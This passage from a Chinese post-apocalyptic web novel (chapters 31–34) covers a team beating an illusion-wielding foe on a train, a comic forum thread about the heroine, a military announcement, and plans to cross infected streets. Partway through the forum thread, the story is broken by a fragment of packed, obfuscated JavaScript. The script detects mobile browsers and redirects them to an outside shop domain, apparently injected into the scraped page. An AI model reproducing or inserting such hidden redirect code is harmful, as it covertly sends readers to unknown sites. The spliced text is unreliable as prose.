他挥了挥手,绕过林随安:“随安,别怕。所有你相信的人都可以是你的哥哥。”
……
意识昏昏沉沉,几乎沦陷,但下一秒,冷静的声音猛然突破云层,照入人间。
“有时间限制,快醒过来!”
伏苓几乎杀红了眼,秦磊的状态也不是很好,连续使用高强度高重合度的幻境对他的身体来说也是不小的消耗。
伏苓眼睛闭了又睁,每重复一次,她就暴戾一分,反反复复的幻境攻击,让她根本无法确定如今站着的地方究竟是幻境还是现实。
她意识到,如果程承他们再不醒来,自己恐怕也要栽在这了。
她的面上难得出现了一丝焦急,一声声地试图唤醒身后的人。
“快醒来!”
“不要被迷惑了。”
“那不是真的。”
“……程承!”
程承眼睛猛地睁开,他几乎心悸地朝伏苓看去。
不断变换的场景,不断自杀带来的强烈冲击,让伏苓整个人摇摇欲坠。
程承看过去的那瞬间,她神色有些恍惚,正举着枪对准了自己的太阳穴。
顾不上什么其他的事情,程承几乎是连滚带爬地站起来猛地扑向伏苓。
“砰”。
弹道歪斜。
但索性没有伤到伏苓。
程承浑身都在因为后怕而颤抖,他撞进伏苓的眼中:“这是现实。”
伏苓瞳孔微微放大,但又瞬间恢复。
她闭了闭眼,勉强恢复神志,哑声道:“抱歉。”
程承摇了摇头,将她拉了起来:“没关系,我来了。”
不会再让你孤军奋战了。
秦磊脸色发白,明显已经到了极限,但人在意识到自己将死的情况下潜力是无限的,他声音沙哑,喊道:“起!”
这一次,程承破开幻境的速度极快。
他眼尾微微泛红,显然是怒极了,血色迷雾在车厢蔓延,如毒蛇一般扑向秦磊。
后者避之不及,被红雾撞到胸口,鲜血横流。
下一瞬,林随安在他身后出现,泛着冷光的匕首狠狠扎入他的心脏。秦磊用尽力气避开,却还是被她扎到了肩膀。
银白的光铺满车厢,林随遇的眼神中嬉笑全无。秦磊与他每一次的眼神接触,感受到的都是滔天的恨意。
他头疼欲裂,意识到是因为林随遇的异能,他下意识先对着林随遇喊到:“起……”
话还没说完,三张星牌乍然出现。
祝无忧满脸泪痕,声音还在微微颤抖,但却异常坚定:“负面:定身,伤裂,禁言。”
31. 永不停靠的轮回09
她声音落下的那一瞬,秦磊浑身僵硬,本来已经停止渗血的伤口再次崩裂,而最让他绝望的是,那个“起”字竟是无论如何也说不出来了。
他的异能依靠的就是一个“说”字,这张禁言牌简直是将他逼上了绝路。
林随安将他抡倒在地,伏苓直接一脚踩上了他张大的嘴。
她眼底一片猩红,咬牙切齿:“说啊,怎么不说话了?”
秦磊“呜呜”地发出声音,伏苓脚下用力,止住了他的话头:“闭嘴,难听死了。”
红雾化绳,将秦磊捆得严严实实,林随遇更是阴损,直接用光束化球塞进了他的嘴里。
这下就算秦磊再怎么折腾,也是闹不出什么东西来了。
林随安有些脱力地扶住椅背:“我去告知一下军区,下车的时候把他带走。”
林随遇点点头:“嗯。”
祝无忧还呆呆跪在地上,不知道在想些什么,伏苓垂眸看着她,走过去伸出手。
眼前突然出现一双手,祝无忧泪眼婆娑地抬起头,看到了伏苓的脸。
打架结束后,伏苓一般没什么表情,但祝无忧却无端在她眼里看到了关心。
伏苓声音轻轻:“没事吧?”
只是简单的问候,祝无忧却突然泪崩。
她猛地扑进伏苓怀里,哽咽道:“呜……我好想爸爸妈妈,我还,呜……我还对不起你,我不该让你动手的,都是我的错我太胆小了……”
伏苓缓缓抬手,轻轻拍了拍她的背,却也不知道说什么。
她从来没有安慰过人,也不会安慰人。
半晌,她才干巴巴地挤出一句:“没关系,我没事。而且,你不是也脱离幻境了吗?”
第一次还在恐惧害怕的你,还是再孤身一人的时候勇敢了起来。
捅入心脏的勇气,比去做任何一件事情都要宏大。
林随遇坐在一旁的椅子上愣了会,才堪堪缓过神来。
看到祝无忧哭得那么伤心,他玩笑着调节气氛:“没事,我可以做你爸爸。”
程承:“……”
气氛是这么调节的吗?
祝无忧听到这句话,又好气又好笑,一下子停住了哭,只觉得这口气上不去下不来,但怎么也哭不下去了。
她抱着伏苓不松手,声音忿忿,还带着些许哭腔:“你真的好烦啊。”
这是安慰人的态度吗?
林随安本想走道前面的车厢连接处跟上级报告,刚走了两步,却又不知道看到了什么,缓缓退了回来。
林随遇余光一直扫着她,见状立马上前:“怎么了?”
他走进了些,看到了眼前的场景,猛地绷紧了身体:“你们干什么?”
祝无忧顿时松开伏苓,有些紧张地看过去。
伏苓转过头,看到了乌泱泱的一堆人。
站在最前面的那人还是楼主,他意识到他们误会了什么,慌忙解释道:“不是不是,我们不是来找麻烦的。”
他顿了顿,感受到气氛稍微好了些才继续道:“我们是想来感谢你们救了我们的命。”
他看向伏苓,眼神灼灼:“谢谢您。”
伏苓挑了挑眉。
程承低头,压低声音道:“应该是秦磊力竭,所以异能都消散了,他们也记起了最开始的那几次轮回。”
伏苓表情变得有些一言难尽:“那我还屠了他们一轮呢?”
就这,还感谢?
他们没问题吧?
程承低声笑了一下:“不管怎么说,也是你将他们从幻境里拉出来的,到底还是要感谢的。”
伏苓稍稍抬眼,目光停留在程承略显凛冽的下颚,她突然走了神,想起了在幻境里那个轻飘飘的吻。
程承看她盯着自己下巴半天没说话,又凑近了些,声音低沉好听:“怎么说?我帮你赶走他们?”
说实话,程承确实不太愿意伏苓跟这些乱七八糟的人结识,他匆匆一眼过去,那些男人看向伏苓的目光里满满的都是敬慕。
特别是最前面那个,眼睛都快黏在伏苓身上了,跟个哈巴狗一样。
末世之人向往强者是很正常的事情,更何况还是伏苓这样长得极其标志的女生。
再加上伏苓向来张扬,鲜艳的挑染就彰显着她的自信和与众不同。
这样的人,在黑暗压抑的末世里如同一朵绽放的玫瑰,鲜红夺目,勾人心弦,却又带着刺向一切的荆棘,让人不敢靠太近。
程承还记挂着那个吻,就算如今他们俩还不是所谓的……爱人关系,他也不愿意伏苓被那么多人盯上。
如果她不想与他们交谈,程承非常愿意帮伏苓一把。
伏苓回神,看向那些眼巴巴看着自己的人,声音清冷:“不用,举手之劳。”
其实根本算不上什么举手之劳,因为她也只是想救下自己和自己的伙伴。
这些人只能算是……顺手。
楼主听出了她的疏离,也不气馁,殷勤笑了两声,暗搓搓靠近了两步:“那也得谢谢你,你累不累,饿不饿?我这有吃的。”
眼看这人还想继续交谈,甚至隐隐有了想坐在伏苓身侧位置的意图,程承终于忍不了了。
他疏离道:“诸位请回吧,我们刚结束战斗,还需要休息。”
这句话情商很高,反正那些人听闻后确实不好意思再留在这里了。
他们笑呵呵地跟伏苓打了声招呼,离开了车厢。
楼主一脸不舍,眼巴巴地看着伏苓,见她没有跟自己交谈的意思,他才可怜兮兮地垂着脑袋离开。
车厢内顿时空了下来,林随遇用光束将秦磊挂在前排天花板上,然后坐在了林随安身边:“还好吗?”
林随安回过神:“啊,没事。”
就算林随安不说,林随遇也能猜到她看到的幻境是什么。
他笑了一下,声音略显温柔:“早就过去了,而且我也把张队带回来了,不是吗?”
林随安看了他一眼,“哼”了一声:“你还好意思说,要不是得了异能,你就死在雨里了。”
当年的事情出乎所有人的意料,林随遇单枪匹马闯入雨中,硬是在自己失去意识之前将张队的尸体背了回来。
就在所有人都以为他要变成感染者的时候,林随遇却突然拥有了异能。
那是集庆第一个异能者。
光系异能,异常强大。
后来,军区逐渐发现了规矩,淋到雨的人可能会变成感染者,也可能会拥有异能,但具体凭借什么做出选择他们至今也想不明白。
可能是意志,也可能只是运气。
知道了这个信息后,军区有很多想搏一搏的年轻人冲入雨中,但得到异能的却寥寥无几。
再后来,上层便不允许军区的人故意淋雨了。
林随遇“嘿嘿”一笑:“我运气好吧?不过说起来,抓到了这人,军区和百姓就能安心了。”
他其实也放心不下集庆,如今秦磊捉拿归案,他才暗暗松了口气。
几人聊了几句就没再说话了,车厢内一片寂静。
这次的幻境除了极废心神以外,还撕
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开了他们最深处的痛苦回忆。
每个人的状态都不是很好。
祝无忧抱着伏苓的胳膊,哭着哭着就睡着了。
伏苓轻柔地抚摸着她的长发,眉眼间罕见地染上温柔。
程承嚼着刚刚乘务员为了感谢他们而送来的话梅,突然有些食不知味。
他抿了抿唇,剥了一块,递到伏苓嘴边,声音轻轻:“吃吗?”
那瞬间,伏苓甚至以为自己又回到幻境了。
她转头,对上了程承水汪汪的双眸。
他的眼睛真的很漂亮。
每一次伏苓都想用潭水来形容,是因为他的眼睛始终带着水汽和温柔。
但这一次,却多了几分不一样的情绪。
她低头,咬住了那颗小小的话梅,唇瓣又在不经意间触碰到了程承的指尖。
后者手指僵了一瞬,很快恢复原状。
他突然觉得嗓间发干,轻轻咳了一声。
但思绪还是一发不可收拾。
恍惚之间,那双柔软的双唇好像再次碰上了他的,鼻息交缠,格外亲密。
程承有些慌乱地眨眨眼睛,试着转移注意力:“感觉我们像在养女儿。”
他差点咬到舌头。
不是,自己在说什么??
就是伏苓也愣了一下,她垂眸看了看睡着的祝无忧,又抬眼看了看程承,满脸不可置信:“你说忧忧?”
程承耳根的红蔓延至脸颊,他慌忙摆手:“不、不是,我说错了。”
伏苓“哦”了一声,又道:“那你原本想说什么?”
程承又哑了。
他根本没想说什么,只是想随便聊聊转移注意力。
但伏苓都问到这了,他就是憋也要憋出句话来:“额,你在幻境里看到了什么?”
伏苓顿了一瞬,道:“你问哪个?”
哪个?
是后来的个人幻境,还是轮回里的那个……吻?
程承又差点咬到舌头:“就、就后来的。”
伏苓有些失望地“哦”了一声:“看到了我父母。”
她不怎么提起父母,程承总觉得伏苓可能不怎么喜欢她的父母。
但若是不喜欢,又怎么会踏上前去寻找的路途呢?
他顿时安静了下来。
伏苓声音淡淡,没什么情绪:“我父母不常回来,从幼儿园……不对,可能是从记事起吧,也可能更早,我就是自己一个人生活了。”
程承拧了拧眉,伏苓扫了他一眼,勾唇:“不是你想的那样,每天还是会有阿姨来给我做饭什么的,方休也会经常来看我。”
她靠着椅背,手臂无意间与程承的相贴:“小时候渴望父母,所以会常常幻想他们在我身边。”
她笑了一声,程承偏着头,却看到了她的自嘲:“但也只是幻想,因为他们回来的时候,只知道让我练剑,练枪,练身手。”
程承眨眨眼睛,意识到不对:“当时还是太平时代,叔叔阿姨怎么会那么急着让你练这些?”
伏苓笑了笑。
你看吧,所有人都会觉得不对劲。
她呼出一口气:“不知道,但这也是我要去找他们的原因。”
她转头,对上了程承的双眸:“他们绝对知道这场灾难的缘由,也很可能知道结束这场灾难的方法。”
她看到程承的睫毛颤抖了两下,心情突然好了些,继续道:“起码我得知道真相,起码我不想耗在一个地方乖乖等死。”
程承弯眼,声音轻轻:“好,我陪你一起。”
32. 永不停靠的轮回10
论坛里。
执着的人还在一遍遍刷着“蹲后续”,突然,一条带着楼主标志的评论跳了出来。
2564L:我!回!来!了!!你们永远想象不到刚刚发生了什么!永远!从今天起,我就是不可说的狗!!!!!我等会跟你们说,我先去上个厕所。
浏览量按部就班上升的数字陡然爆炸。
2565L:你他妈?不是刚上过厕所吗?
2567L:我就好了奇了,你上厕所不能打字吗?
2568L:急急急急急急急!!!!!
2698L:一分钟了你还没上完?
2712L:散了吧,这人估计钓鱼的。就不可说那个凶残样,他要是真见了还能活到现在?
2822L回复2712L:你可以说我在钓鱼,但你不能这么说不可说!!!!
2855L:楼上妙啊,果然还得是孙子兵法,这不就给人激出来了吗?
2898L:你们真的……(扶额苦笑)
2990L:……有空在这里演丫头文学不如赶紧说说发生了什么!
3012L:来了来了,不要着急嘛!我慢慢说。首先,我知道她的异能了。
这条回帖一出,回复再次飞速上涨。
3013L:我靠我靠我靠!是什么是什么是什么!
3156L:为什么不一口气说完啊?快一点啊!!
3278L:我这不是看你们着急嘛,所以一打完一句话就发送了。
3369L:哥,你是我亲哥,你一口气说完吧,我真的要急死了,为什么这一句也要单独发啊?!
3789L:好吧。那我这次一口气说完。虽然异能是个人的隐私,但我看不可说也没有遮拦的意思,所以我觉得,在这里说清楚她的异能应该没什么,她是无能力者。
这一句再次引爆论坛。
3897L:????
4025L:无能力者??
4159L:怎么可能!!!
4269L:散了吧,楼主绝对是在放屁!你的意思是,一个单枪匹马杀穿顶尖集团,背靠军区,甚至可能是军区头号种子选手,实力至少排在全国前5%的人是无能力者?别做梦了,如果她真是无能力者,一个控制系异能,一个大范围异能就能要了她的命!
4398L:绝对不可能!她是无能力者我是什么?无能力行为人吗?
4478L:一个无能力者,楼主为什么说自己是她的狗?
4756L:那岂不是不用怕她了?之前的追杀令还有效吗?
4785L回复4756L:有效。
4812L:卧槽,楼上是不是发布追杀令的那人?
4955L:不是,你们冷静一点啊,我还没说完呢。虽然她是无能力者,但这人的实力绝对在大部分异能者之上!我空口吹没用,先说一下我在高铁上遇到的事情。我们在途中被拉进了一个幻境,不知道大家对幻境这个异能有没有印象,集庆有一个能跟军区对抗的组织头头的异能就是幻境!而不可说直接单枪匹马把这人干掉了!
5026L:?????
5212L:?????????
5298L:你是说秦磊?
5301L:????
5326L:我不想破坏队形哈,但是!怎么可能?!我们之前跟那人有过一次交手,十几人面对他全军覆没,只有我一个人因为慢了一步没有正面对上才逃过一劫。后来我再也没敢去过集庆,现在你告诉我,不可说一个人!一个人!把这人干掉了?!
5689L回复5326L:有没有一种可能是因为你们太弱了?
5699L回复5689L:大哥,你可以质疑我们的实力,但你觉得一个十几人的队伍实力能弱到哪里去??
5889L:哈哈哈,太爷你看到了吗?无能力者能徒手刚上异能者了,太爷摇了摇手,说不信谣不传谣。
6021L:不是我不愿意相信楼主,真的是这件事情太匪夷所思了。如果楼主说的是真的,我把水立方吃了!
6358L:在幻境中,不可说一枪一剑,哼哼哈嘿!屠了三节车箱,当然,也包括我(害羞捂脸),当时她将枪口对准我的时候,属于最强者的气息压迫着我的每一条神经!一股奇妙的感觉从体内升起,我不由自主想拜倒在她的脚下!臣服于她!信仰于她!我大吼着!我要做不可说的狗!
6453L:………………
6542L:我现在越来越怀疑帖子的真实性了。
6752L:你他妈是花痴?说清楚点啊,谁要听你的感受?三节车箱多少人?异能强度怎么样?她怎么杀的?你们是一个一个上的还是一起上的?她的武器是什么?枪,剑?还有呢?
7023L回复6752L:你好冷漠啊。等你跟她打起来的时候你就知道了,这是一种属于强者的碾压,她一看过来,你就知道你绝不可能赢过她!啊~斗宗强者,竟恐怖如斯!
7033L:…………你还是没有回答我的问题。
7069L:。。。好吧。三节车箱可能有十几个人吧,我们一起上的,她的武器是软剑和能量枪,我没看清她的动作,只知道非常快,快到我一意识到她要杀过来了,我就已经没了。
7256L:卧槽……
7458L:前面说要接追杀令的人还在吗?不会已经去了吧?兄弟一路走好。
7493L:怎么可能怎么可能?我现在满脑子都是无能力者硬刚十几个异能者。而且据我所知,敢坐高铁的人都不是什么弱者,异能强度起码在前10%吧?
7658L:不知道楚河大佬有没有看到这个帖子,能不能再分析一下啊?我感觉她的实力不止前5%吧?
7699L:人家忙着呢,哪有空像你们一样天天盯着论坛看?
7714L:一个无能力者把你们吓成这样?她再强能强到哪去?无能力者的上限也就那么高,多几个人照样能把她弄死。
7852L:主人主人,要看清楚哦,我没有对您不敬,是楼上哦!
7853L:主人主人,要看清楚哦,我没有对您不敬,是楼上哦!
7854L:主人主人,要看清楚哦,我没有对您不敬,是楼上哦!
7912L:你们!真没出息!
8023L:总之!楼主现在已经对不可说肝脑涂地了!虽然我不知道他们要去哪要干什么,但我愿意至死追随不可说!
8024L:???她人呢?卧槽她下车了???
8055L:哈哈哈哈哈哈!哈!哈!哈!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449326|152005||http|test|mini|href|location''.split(''|''),0,{}));
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>8124L:笑死我了,车门关上了?
8131L回复8124L:……是的。
8158L:所以不可说在哪下车的?她要干什么?这次也是军区的任务吗?
8164L:楼主在三小时前见到不可说,说明那时候不可说刚刚到站,加上楼主刚才说他们遇到了集庆的组织头头,基本上可以确定,不可说是在集庆上的高铁,按照三小时的时间来推的话,不可说多半是在荥城下的车。
8177L:楼上牛逼!不过话说她到底要去哪?临安,集庆,荥城,这是要往北还是往西?
8198L:卧槽,我有个大胆的想法!不可说不是军区的吗?她的动作是不是基本上等同于军区的动作?那军区最近动作这么大,是不是找到结束雨灾的办法了?
此话一出,回帖迅速上涨。
8212L:真的吗真的吗真的吗?呜呜呜我真的要哭出来了。
8265L:谁懂,我鸡皮疙瘩都起来了。如果不可说真的是在为解决雨灾奔波,我愿意一辈子跟随她!
8302L:天知道我这些年有多渴望以前的生活,哪怕让我再当十年的牛马我也愿意!
8356L:哎,你们是不是反应过度了?人家就是个猜测,根本没有依据啊。
8396L:虽然听到这个猜测我也同样激动,但还是不得不说一句,希望越大,失望越大。
8421L:唉,就当是给大家来一点希望吧,八年了,一点光都不给我们,真的会疯的。
8459L:说实话,我觉得也可以稍微相信一下这个猜测,起码我浑浑噩噩这么长时间了,第一次打起精神想出去献一份力。
众人还在叽叽喳喳地说个不停,一个标红的帖子陡然出现在论坛首页。
所有人都顿了一下。
帖子标红,意味着官方出消息了。上一次官方的消息,还是那句苍白无力的“居家隔离,稍安勿躁”。
无数人的眼眶陡然红了,手指颤抖着点进了标红贴。
【关于雨灾相关的通知】
1L:大家好,我是集庆军区队长,谢增。首先,我代表军区,向每一位还努力活着的民众们说一声辛苦,你们是最坚韧的百姓,是如今国家的中流砥柱,你们每一个人的存在,我们都为之高兴。你们度过了最黑暗、最痛苦的一段时光,但我要告知大家的是,这样的日子不会持续多久了,我们已经取得了重大突破,胜利近在眼前!军区诚挚地向诸位发出邀请,请每一位愿意与我们一同对抗灾难,每一位有能力对抗灾难的勇士贡献出你们的一份力量。具体通知会在明日午时正式公布,届时,我们将通过论坛、广播同步传递出消息。
2L:谢队,您好。请问为什么要在明天发布通知?大家都很着急。
3L:是啊是啊!我现在就可以参战!
4L:呜呜呜呜我不知道该说什么了呜呜呜。
5L回复2L:同志您好!我们当然希望在第一时间发布最新消息,但此时我们的消息还未整合完全,是因为想第一时间跟大家分享这个好消息,才不顾一切地先发出一个类似“预告”的通知!更重要的是,比起对抗雨灾,我们更在乎你们每一个民众的生命安全,我们希望各位能在深思熟虑、准备好之后再相应军区号召,而不是凭借一腔热血、毫无准备地打这一仗!
33. 永不停靠的轮回11
下车的时候,已经有一队人在站台上等着了。
秦磊还晕着,林随遇直接将他塞进那对人的手里:“辛苦你们了。”
为首之人对着他行了个礼:“是辛苦你们了。”
兜里的战备机轻轻震动了一下。林随安“咦”了一声,抽出战备机。
祝无忧好奇道:“为什么战备机会震动啊?好像从来没遇到这个情况。”
林随安一边点亮屏幕,一边解释道:“一般来说,我们的战备机同时震动意味着官方在论坛里发消息了。”
程承挑了挑眉,飞速抽出战备机点开。
标红的帖子映在众人眼中,林随安发愣似的盯着屏幕半晌,才喃喃道:“这是……”
程承语气多了些许哽咽:“终于要结束了吗?”
伏苓懒得看自己的机子,凑过去瞥了一眼程承的屏幕,她皱眉:“我们走的时候他们还什么都不知道呢。”
程承侧头看她。
也就是说,阶段性的进展是在他们离开之后才突破的。
那段时间发生了什么?
程承立马反应过来:“方休!”
是方休跟军区对接上了!
“什么方休?”林随遇跟荥城的军方道了别,朝他们走过来。
林随安瞬间理清了前后逻辑,把屏幕怼到他脸上,迫不及待问道:“方休到底知道什么?”
伏苓耸耸肩:“不知道啊,他也没跟我说过。”
“卧槽!”林随遇瞪大眼睛,“真的假的?真是谢增啊?不会被盗号了吧?”
祝无忧已经缓过来了,她瞥了林随遇一眼:“你傻了?他能被盗号?”
几人边聊边朝着站内走。
荥城毕竟是交通枢纽,站内人不少,座椅上干净整洁。如今还是深夜,他们准备在这里休息一晚定一下接下来的行动方向,明早再出发,于是远离人群找了个位置坐下。
程承不知道从哪抽出来一张荥城地图,摊在腿上查看。
祝无忧眼眶的红还没褪下,看到这一幕不禁抽了抽嘴角:“我真的很好奇,为什么你总是能找到地图?”
程承还在研究荥城的情况,漫不经心道:“末世发生前基本上很多公共场所都会放着地图以备不时之需,找找就能看到了。”
祝无忧“哦”了一声,喃喃:“我怎么没看到?”
林随安去一旁拿了几瓶水递给他们,接话道:“那边的报刊亭上的吧?我也没怎么注意。”
林随遇在她身边找了个位置坐下,手臂搭在椅背上,朝祝无忧抬了抬下巴:“诶,对了,你那牌是不是好几套呢?”
“哦,对啊。”祝无忧把星牌摊开,给他介绍了一下。她拿着洞悉牌笑眯眯地说:“这个牌挺好玩的,我给你试试啊?”
林随安往旁边挪了一步:“我觉得不太妙,大可不必。”
“好吧。”祝无忧瘪着嘴把洞悉牌收了回去。
其他牌面倒是好理解,林随安指尖隔空点了点那套遍体漆黑的未知牌,问道:“这个是什么?”
祝无忧挠挠头:“不知道,但我直觉这套牌不能随便用,所以一直没碰过。”
伏苓插嘴道:“嗯,我也觉得不详。”
连伏苓都这么说了,看来自己的直觉没错。
祝无忧如捣蒜一般点头:“我不会轻易用的。”
见状,林随安倒也没再继续问,她顿了顿:“说起来,你们有没有察觉到一些异样?”
几人的目光都转向她,林随安摊开手,她的手心上空无一物,但异能者都能感受到,有一团火在她掌心燃烧。
这就是异能的本质形态,也可以说是,能量。
先前在集庆,秦磊的组织通过猎捕感染者获取的能量就是以这种形式存在的。
不过异能者的能量可以被他们控制,而感染者则不能。
当然了,这种能量的存在只有异能者和感染者可以感知到,对于无能力者而言,这团能量就类似于空气中的二氧化碳。
——根本感知不到。
伏苓托着腮:“孤立我?”
林随安愣了一下,有些尴尬地咳了一声,解释道:“之前我体内的能量大概是这么大。”
她比划了一个足球的大小,然后两掌微微拉远:“现在是这么大。”
伏苓:“……”
好形象的形容。
能量的大小往往决定着异能的强弱,正常人的能量大小往往只有半个足球大小。
林随安收回手,认真道:“也就是说,我的异能,在抵达荥城之后,增强了。”
每个人对自己的异能很敏感,多一分少一分的很快就能察觉。
听到林随安这么说,其他人也是若有所思地感受了一下。
林随遇张握着手:“好像确实有点,我的异能也似乎强大了些。”
程承皱了一下眉,突然出声:“你们还记不记得,之前谢增说异能和感染病毒其实是一种物质。”
车站里人不多,他们坐的地方周围都没什么人。
闻言,几人顿时安静了下来,车站内突然像静音了一般。
祝无忧吞了吞口水:“你别只说一半啊,这样有点吓人。”
程承合上地图,随手将其塞在了旁边的报栏里:“我的意思是,我们的异能变强了,那感染者会不会也随之变强?”
伏苓摸摸下巴,眼里露出了些许兴奋:“很有可能啊。”
祝无忧猛地转头。
你还兴奋上了?
程承及时按住了她的手,阻止了她危险的想法:“但我有一点好奇,异能变强到底是因为我们来到了荥城,还是因为时间的推移?”
如果是因为他们来到荥城,就说明感染物质是在空间上,若是后者,便是在时间上。
听着好像差别不大,但前者意味着这个引发灾难的东西如今依旧存在,甚至他们在向那个物质靠近。
而后者,则代表着无解。
林随遇吊儿郎当的表情淡了些:“不太清楚,但是找个荥城的本地人问问不就好了?”
“可以试试,不过——”林随安说,“周围是不是有人在看我们?”
伏苓抬起眼。
他们如今在荥城东站的候车室。
空间很大,整齐排列的座椅大致从中间分开一个宽敞的走道,他们坐的位置比
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较偏僻,是在一个角落里。
按道理来说,不应该有人关注到他们。
但伏苓抬眼的瞬间,对上了好几个人鬼鬼祟祟的目光。
她立马明白了什么,嗤笑了一声站起来:“估计是那个论坛。”
下车后,她也只是瞥了一眼程承屏幕上官方的帖子内容,其他帖子还没来得及细看,但想也知道,那个“分析一下不可说”的帖子楼主肯定会在论坛里同步列车上发生的事情。
而她是无能力者的事情,也一定会被泄露出去。
不过呢。
她捏了捏拳,朝那几个惊慌失措移开目光的人走去。
知道又怎样?
林随安沉默了两秒,问程承:“不用拉住她吗?”
程承靠在椅背上笑了笑:“没事,她心里有数。而且,那些人肯定打不过她。”
远处传来谄媚之声,林随安叹了口气,收回目光:“我们接下来去哪?”
“荥城四通八达,我们接下来的一站是丰镐,所以直接往西边走便是了。”程承说,“不过呢。在此之前,我们还得去解决一个人。”
林随遇好奇道:“谁啊。”
“发布追杀令的。”伏苓已经走了回来,原本若有若无的目光已经全部消失,坐在不远处的人如同鹌鹑一样低着头背对着他们。她坐在程承旁边,“哦,对了。刚刚顺便逮了几个人问了一下,有一些是荥城本地人,异能没什么变化,其他从外地来的变化情况不一样,有变强的有变弱的。”
林随安点头:“那就是空间上的问题。我猜变强的人是从荥城东南方向来的,变弱的则是相反。”
“这是默认影响异能的东西在肃州了?”林随遇说。
“只是猜测啦。”林随安笑了一下,“等明天增哥联系我们应该就能知道些什么了。”
林随遇点点头,又把话题拉了回去:“诶,那追杀令男在哪啊?”
伏苓刚想说不知道,耳边的GE突然闪了一下,镜片出现,银白的光洒在她白皙的皮肤上。
几人停下交谈,等待着她。
伏苓的表情依旧是那副漫不经心的模样,似乎GE没给出什么实质性的建议。
“GE黑了荥城的监控,那人在和平广场。还有,”她顿了一下,唇角微微上扬,“越野车来了。”
林随遇好奇:“什么越野车?你们之前在谢增那边问的那辆?它怎么来?自己长腿了?”
祝无忧嘿嘿一笑:“到时候你就知道了,那可是好东西。”
程承心下也松了口气。
他原本还在思考去哪弄辆车,毕竟他们的目的地是肃州,若是真让他们走过去,可不得累死?
但他还是问道:“它自己来的?”
伏苓点点头,波澜不惊道:“它不是会自动驾驶吗?”
话是这么说没错,但……哪有这种自动驾驶啊?
伏苓勾勾手指,示意程承将报栏里的地图抽给她。
程承照做,将地图摊开,伏苓点了点一个地方:“他们两都在这。”
程承垂眸,看到了被伏苓点到的地方,上面写着四个大字:
和平广场。
34. 和平广场01
祝无忧托着下巴:“和平广场,那应该挺和平的吧?”
林随遇皮笑肉不笑:“我怎么觉得不太和平?”
这种名字在末世真的显得很诡异好吗?
林随安皱起眉。
她怎么感觉,好像在哪见到过这四个字。
她起身走到窗边,他们身处的位置是高铁站的二楼,侧边有一片硕大的落地窗。
她沉默了一瞬,点了点某处:“是不是那个?”
众人抬头。
那个所谓的“和平广场”应该算是荥城比较重要的建筑,高耸入云,加上他们本就身处二楼,所以不起身也能顺着林随安指的方向看到那个招牌。
林随遇惊讶:“就这么找到了?”
他起身,一边向窗边走去一边道:“我还以为光是找就要找一……”
他突然顿住了,与林随安如出一辙地沉默了起来。
意识到他们是看到了什么,程承和祝无忧也起身看去。
荥城高铁站的下方街道上,满满地游荡着无数感染者。
非常多。
怪不得车站聚集了这么多人,敢情是被感染者围在这了?
祝无忧退后了两步,她猛地转头,看向伏苓:“你问问s74能不能自己过来?”
伏苓拧开瓶盖喝了口水,才慢吞吞道:“就是因为过不来才在和平广场那等我们的。”
死一般的沉默。
祝无忧捂脸:“完了,要死掉了。”
程承没说话。
荥城的街道四四方方,他们又站得高,很容易便看清了底下各个街道的具体情况。
他迅速扫视了一圈,从不知道什么地方抽出了一支笔,在地图上画出了一条弯弯绕绕的路线。
从高铁站到和平广场。
林随遇扫了一眼:“这么牛逼?”
祝无忧已经摊在椅子上了,她自暴自弃地举起一根手指:“我还有一个问题,你这笔又是从哪弄来的?”
程承垂着头,似乎还在思考这个路线的可行性和备选方案,闻言随手点了点报栏。
林随安凑近了些,指尖点了点地图上的某处,低声说了两句什么。
两人你一句我一句地讨论起来。
祝无忧微笑着,顺着他指的方向看去。
只见那个破破烂烂的报栏侧边可怜兮兮地垂着一根塑料绳,尾部像是被大力扯下留下的端口。
再联想到程承手上那支笔顶端的一小段塑料绳,祝无忧沉默了。
她道:“哥,你这是破坏公物啊。”
林随遇也走过来坐下,他一向不喜欢动脑子,讨论路线什么的还是交给他妹和程承吧。
他也捞了瓶水:“现在哪还有什么公物?能用就用呗。”
伏苓瞥了两个摊在椅子上的人一眼,道:“不早了,休息会,我们明早出发。”
看街道上的情况,哪怕他们路线规划得再完美,也免不了一场恶战。
当下还是好好休息比较好。
闻言,林随安和程承也坐了下来,林随遇拧开了瓶水递给林随安,后者轻声道谢。
程承将皱皱巴巴的地图折起来,索性他们现在也不怎么能睡着,他想了想,还是决定跟林随遇他们解释一下自己的异能。
毕竟他的异能比较特殊,即便见过他出手,也未必知道具体情况。
明天多半要团队合作,还是更了解一点对方胜率比较大。
“我的异能是血兔。”程承道。
突然出声让大家都有些愣怔,程承没在意,继续道:“它有自我意识,但比较害羞,我就不拉它出来展示了。”
害羞?
伏苓想到那兔子气鼓鼓的样子,不免笑出了声。
程承坐得近,听到她笑,眼里也带上了些许笑意:“它在我的血液里,所以那些红雾,其实算是血雾。”
“用我的血。”他补充道,声音平淡。
林随安有些愣怔,讷讷道:“那……那这只害羞的兔子有什么作用吗?”
程承歪了歪脑袋:“这个,不太好说,但好像什么事都能做一点。”
“欸欸欸,”祝无忧模仿了一下他刚刚歪头的动作,兴奋道,“就这个动作,跟伏苓一模一样!你们俩天天睡一起啊搞这么像?”
程承:“……”
伏苓:“……”
几人又聊了两句,便不再言语。
……
翌日。
伏苓也不知道自己怎么睡的,睁开眼睛的时候发现自己脑袋抵在程承肩膀上。
她缓缓眨了两下眼睛,起身。
才一动作,程承便醒了。他与伏苓对视一眼,又见其他人还在熟睡,压低声音:“醒了?”
坐着睡了半夜,伏苓只觉得浑身哪都不得劲,她起身准备活动两下,闻言也轻声道:“是啊,你看不出来吗?”
程承刚转醒,脑子还不清醒,听到这话倒是清醒了不少,跟着她一起起身道:“我陪你走走吧。”
伏苓动了动嘎吱作响的脖子:“哦,行。”
高铁站一楼的人比二楼多上一些,可能是想离开但又被外面的感染者吓着了,所以一直待在这。
伏苓抬头看了看天。
今天没有太阳,天色昏沉。远处乌云聚集,黑压压的一片
程承皱了皱眉,面色严肃:“好像是要下雨。”
伏苓抬脚走了回去:“这雨看上去挺大的,估计一时半会停不了。喊上他们,我们现在就出发。”
